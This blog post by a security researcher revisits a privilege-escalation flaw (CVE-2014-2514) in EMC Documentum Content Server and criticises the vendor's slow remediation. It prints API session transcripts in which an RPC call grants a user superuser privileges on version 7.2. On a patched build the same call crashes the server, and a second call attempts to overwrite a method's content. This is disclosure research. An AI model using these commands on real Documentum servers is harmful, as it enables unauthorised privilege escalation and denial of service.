How long does it take to remediate security flaw?

Yesterday I found a time to disclosure new episodes for CVE-2014-2514 (see also Is it possible to compromise Documentum by deleting object? Part I) to BugTraq mailing list (as you already know EMC fails to communicate about vulnerabilities in Documentum), but because I have a bad habit to check everything before posting I decided to check my researches against latest version of Content Server.

Content Server 7.2 behaviour (SAVE_CONT_ATTRS_V6 RPC command is not used by DFC, so proof of concept described in Is it possible to compromise Documentum by deleting object? Part I does not cover this RPC command):

Connected to Documentum Server running Release 7.2.0000.0155  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_user where user_name=USER
...
11024be980000900
API> get,c,l,user_privileges
...
0
API> get,c,l,i_vstamp
...
1
API> apply,c,11024be980000900,SAVE_CONT_ATTRS_V6,
        OBJECT_TYPE,S,dm_user,IS_NEW_OBJECT,B,F,
        i_vstamp,I,1,user_privileges,I,16
...
q0
API> ?,c,q0
RESULT
------------
           1
(1 row affected)

Content Server 7.2P01 behaviour (for some reason CS reports that it is 7.2P02 – most probably EMC experiences difficulties not only with security but also with SDLC):

Connected to Documentum Server running Release 7.2.0020.0164  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_user where user_name=USER
...
11024be980000900
API> get,c,l,user_privileges
...
0
API> get,c,l,i_vstamp
...
3
API> apply,c,11024be980000900,SAVE_CONT_ATTRS_V6,
        OBJECT_TYPE,S,dm_user,IS_NEW_OBJECT,B,F,
        i_vstamp,I,3,user_privileges,I,16
...
[DM_SESSION_E_RPC_ERROR]error:  "Server communication failure"

java.io.IOException: Unexpected end-of-stream

Corresponding server log is:

#0  0x00007f4caedcd2ad in waitpid () from /lib64/libpthread.so.0
#1  0x00000000009d52bb in dmExceptionManager::WalkStack(dmException*, int, siginfo*, void*) ()
#2  0x00000000009d5678 in dmExceptionHandlerProc ()
#3  <signal handler called>
#4  0x000000000057a969 in dmContentParent::HasNecessaryPermit(int, char const*, dmBool) ()
#5  0x0000000000866fd1 in dmContent::CheckContentPermission(int, dmSession*, dmBool) ()
#6  0x0000000000879bb2 in SaveContAttrsInternal(dmContent&, dmObject*) ()
#7  0x000000000087a4e8 in dmSaveContAttrsV6(char*, dmID, dmObject*, dmSession*) ()
#8  0x0000000000545f44 in dmSession::Apply(int, dmID, dmObject*, int, dmBool) ()
#9  0x000000000047dfad in DoApply(dmSessionContext*, int, dmID, char*, dmBool) ()
#10 0x000000000048017f in ApplyInternal(dmID, int, dmID, char*, int*) ()
#11 0x00000000004aa371 in Apply_string(char*, int, char*, char*, int*, int*, int*, int*) ()
#12 0x00000000004a01b5 in iIXApply_string(void*) ()
#13 0x0000000000b8e862 in _nwvss_(unsigned int, dscp_t*, int, rpc_t*, int, int (*)(...), int (*)(...), int (*)(...), void*, _rpcctl*) ()
#14 0x000000000049eaac in S_Apply_string(int, rpc_t*, _Svrpc, dscp_t*) ()
#15 0x000000000049b45f in driver_Proc(int, dscp_t*) ()
#16 0x000000000049724a in dmNetwiseConnection::Dispatch(dmBool&) ()
#17 0x00000000004b1a63 in dmSessionThreadStart(dmExecutionContext*, void*) ()
#18 0x00000000009b5c6e in dmFork::Launch() ()
#19 0x00000000004b0cab in dmServerExecutionContextPool::ProcessRequests() ()
#20 0x00000000004b13d4 in rpc_main(char const*, dmServiceFailoverList&, dmSession*) ()
#21 0x0000000000483b39 in dmRPCInit(char const*, char const*, int, char const*, dmServiceFailoverList&, dmObject&) ()
#22 0x0000000000486bbd in dmRPCMain(int, char const**, dmBool, dmBool) ()
#23 0x000000000048838d in main ()

It seems that 7.2P02 got a new function dmContent::CheckContentPermission which performs extra security checks:

[dmadmin@docu72dev01 bin]$ nm documentum.patch.bak | grep CheckContentPermission
[dmadmin@docu72dev01 bin]$ nm documentum | grep CheckContentPermission
0000000000866ee0 T _ZN9dmContent22CheckContentPermissionEiP9dmSession6dmBool

What is the purpose of these security checks? Here I remembered my previous post about security where EMC employees were trying to perform some weird activity and found out that some proofs of concept described in that post “does not work anymore” (here I use double quotes because by tradition nothing was fixed at all – the purpose of this blog is just to give some thoughts about Documentum, if you blindly apply everything that is written here without further research you are bloody idiot):

API> retrieve,c,dm_method where use_method_content=TRUE
...
10024be980000472
API> get,c,l,object_name
...
pre_erouter2_forward
API> get,c,l,i_contents_id
...
06024be980000199
API> create,c,dm_sysobject
...
08024be980006500
API> setfile,c,l,test.txt,text
...
OK
API> save,c,l
...
OK
API> get,c,l,i_contents_id
...
06024be980005d00
API> get,c,06024be980005d00,data_ticket
...
-2147480126
API> get,c,06024be980005d00,content_size
...
0
API> apply,c,06024be980000199,SAVE_CONT_ATTRS,
        data_ticket,I,-2147480126,content_size,I,0,
        full_content_size,I,0,OBJECT_TYPE,S,dmr_content,
        IS_NEW_OBJECT,B,F
...
q0
API> ?,c,q0
result
------------
           0
(1 row affected)
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
            "Cannot access content '06024be980000199'.
            No write permission for current user"

So, how long does it take to remediate security flaw?

6 thoughts on “How long does it take to remediate security flaw?

  1. Pingback: Weird Composer | Documentum in a (nuts)HELL
  2. Pingback: LOL | Documentum in a (nuts)HELL
  3. Pingback: Trap for negligent developer | Documentum in a (nuts)HELL
  4. Pingback: Bullshit security | Documentum in a (nuts)HELL
  5. Pingback: D2 remote code execution | Documentum in a (nuts)HELL
  6. Pingback: When will EMC stop fighting with customers and start care about them? | Documentum in a (nuts)HELL

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s